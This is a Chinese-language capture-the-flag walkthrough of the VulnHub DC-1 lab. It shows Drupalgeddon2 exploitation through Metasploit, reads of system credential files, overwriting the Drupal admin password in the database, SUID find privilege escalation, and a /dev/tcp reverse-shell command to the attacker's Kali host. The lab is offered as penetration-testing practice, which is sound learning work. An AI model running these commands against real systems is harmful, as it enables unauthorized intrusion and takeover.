目录
前言
一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。
一. 环境搭建
1.准备工具
虚拟机Kali:IP-192.168.111.129
DC-1靶场机:
官网下载 https://download.vulnhub.com/dc/DC-1.zip
2.靶场准备
更改网络适配器为NAT模式:
二. 渗透过程
1. 信息收集
探测目标IP地址
nmap探测nat网段存活主机:已知kali的IP为192.168.111.129,则得到靶机IP为192.168.111.136。
nmap -sP 192.168.111.0/24
探测目标IP开放端口
使用nmap探测靶机开放端口:可以看到开放22、80、111端口,确定有http服务。
nmap -sS 192.168.111.136
网页信息收集
在kali上访问一下靶机,发现CMS是Drupal版本7.
2. 漏洞查找与利用
2.1弱口令
通过burp测试一下弱口令,爆不出来,而且需要认证,感觉好麻烦,试试cms相关漏洞。
2.2Drupalgeddon2
Searchsploit查一下Drupal7相关漏洞:
(官方指南:Exploit Database SearchSploit Manual)
开启msf查找一下可以利用的漏洞:先选择Rank‘excellent’、Check‘Yes’和日期最新的利用,与searchsploit结果对比一下,发现可以选择no.1。
选择drupalgeddon2,设置好session,run执行:成功上线
3. Getshell
3.1交互式shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
3.2flag1
Shell后先ls一下看看,发现一个flag1.txt:
cat查看一下,大概意思是提示所有cms需要配置文件,所以让我们去找drupal的配置文件。
3.3Linux信息收集
先不急着找配置文件,既然已经进来了就收集一波信息。
1>DNS客户机配置文件(虽然对于这次靶场没啥用)
cat /etc/resolv.conf
2>系统用户配置文件
cat /etc/passwd
哦吼,发现了一个flag4,路径是/home/flag4,那就提前看一下flag4的内容好了:
翻译一下大概是说“用同样的方法找到存在root里的flag”,不明所以,不过应该要求我们提权(一会再搞)。
3>查存储的用户密码信息:没有权限
cat /etc/shadow
4>我是谁:
Whoami/who -a
5>查看进程信息:
发现了mysql进程,一会试试爆库。
ps aux
6>简单看一下刚进来时各个文件夹内都有什么文件:
4. 数据库渗透
4.1flag2,数据库用户密码
简单过一遍linux信息后,回来根据提示去找drupal配置文件。
根据相关链接:
[译] Docker Workflow(二):存储问题 - 开发者头条
我们可以知道Drupal会在sites/default/files目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以现在应该去找到这个文件。
首先进入sites/default/files,逛了一圈没有东西:
返回上级目录,发现了settings.php:
查看settings.php文件内容:嘿嘿,找到了flag2,同时还发现了数据库用户及密码。
4.2数据库信息收集
使用刚刚得到的用户密码登录数据库:
查看表信息:发现一个users表
查看users表信息,发现用户密码:
(加密的密码试试破解)
5. 用户密码爆破
5.1hash解密(失败)
先用kali自带的hash工具过一下密码(加盐了没用)
加了盐没办法,不过根据打过的红日3靶场可以试试其他方法,即新建新的用户密码或修改已有的密码。
5.2修改密码(成功),flag3
网上搜一搜drupal修改密码,发现Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。
巧了,之前搜集信息时恰好在scripts目录下发现了该脚本。
当然也可以使用find找一下:
find / -name ‘hash’
通过该脚本新设置一个密码‘123456’:
scripts/password-hash.sh ‘123456’> test.txt
再次进入数据库更新一下admin的密码:
update users set pass=’you-password’ where uid=1;
使用admin 123456,登录Drupal:
Home里搜索一下,发现flag3:
6. Linux提权
6.1find 指令提权
首先找一下find路径:
which find
再检查一下find是否有suid权限:
ls -l /usr/bin/find
最后使用find命令执行一下‘whoami’发现是root权限:
touch getroot
find / -type f -name getroot -exec “whoami” \;
6.2find命令nc监听反弹shell
先在kali上开启nc监听:
nc -lvvnp 6666
Msf中执行构建好的find命令:
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.111.129/6666 0>&1 \;
成功shell上线:(root权限)
在/root中找到最终的flag: